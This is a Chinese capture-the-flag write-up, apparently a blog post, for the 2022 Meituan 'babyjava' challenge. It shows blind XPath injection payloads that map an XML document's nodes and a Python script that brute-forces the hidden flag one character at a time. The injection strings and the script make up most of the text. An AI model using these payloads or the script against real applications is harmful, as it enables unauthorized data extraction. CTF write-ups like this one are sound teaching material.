• 2022美团网络安全高校挑战赛(初赛)babyjava(XPath注入)


     有一个输入框,测试需要带着user1,

    构造注入:user1' and 1=1 and ''=' 回显为:user1

    user1' and 1=2 and ''='  回显为:This information is not available

     证实存在Xpath盲注

    xpath=user1' and count(/*)=1 and ''='   #通过判断得知根节点有一个

    payload = user1' and string-length(name(/*))=4 and ''='" #测试得出根结点长度为4

    通过回显得出根节点名称为root :
    xpath=user1' and substring(name(/*),1,1)='r' and ''=' # 盲注得到结点名为root

    通过回显判断/root下的子节点个数

    xpath=user1' and count(/root/*)=1 and ''=' #通过判断得知/root只有一个子结点

    payload =user1' and string-length(name(/root/*))=4 and ''='" #得到/root/下结点名长度为4

    xpath=user1' and substring(name(/root/*),1,1)='r' and ''=' # 盲注得到结点名为user

    通过回显判断/root/user下的子节点个数

    xpath=user1' and count(/root/user/*)=2 and ''=' #通过判断得知/root/user下有两个子结点

     xpath=user1' and string-length(name(/root/user/*[1]))=8 and ''='

    xpath=user1' and string-length(name(/root/user/*[2]))=8 and ''='

    得出两个结点名称长度都为8

    xpath=user1' and substring(name(/root/user/*[1]),1,1)='a' and ''='

    xpath=user1' and substring(name(/root/user/*[2]),1,1)='a' and ''='

    得到两个结点都叫username

    读取两个username的内容

    xpath=user1' and count(/root/user/username[1]/*)=0 and ''=' #username下面没有结点,应该是文本

    xpath=user1' and substring(/root/user/username[1]/text(),1,1)='a' and ''=' #测username[1]

    盲注得出,username[1]为user1

    username[2]即为我们要的flag

    最后附上拿flag的python脚本,其中payload可以更改

    1. import requests
    2. import string
    3. import re
    4. url = "http://eci-2zef43pmhep3r5ym8ggc.cloudeci1.ichunqiu.com:8888/hello"
    5. s = requests.session()
    6. strs = string.printable
    7. flag = ''
    8. for i in range(1,100):
    9. for j in strs:
    10. payload = "user1' and substring(/root/user/username[2]/text(),{},1)='{}' and ''='".format(i,j)
    11. data = {
    12. "xpath": payload
    13. }
    14. r = s.post(url,data=data)
    15. txt = re.findall('

      (.+?)

      '
      ,r.text)
    16. #print(txt)
    17. if "user1" in txt:
    18. flag += j
    19. print(flag)
    20. break
    21. else:
    22. continue

  • 相关阅读:
    can通信注意事项
    艾美捷双链RNA定量试剂盒作用盒原理分析
    基于webapi的websocket聊天室(四)
    产品工作流| 项目评估
    2022 年 前40道 ReactJS 面试问题和答案
    自己理解的TCP三次握手
    Java版CRM客户管理系统源码 CRM小程序源码
    Qt开发经验小技巧231-235
    综合培养学生脑力思维的少儿编程
    torchvision详细介绍
  • 原文地址:https://blog.csdn.net/weixin_63231007/article/details/126907622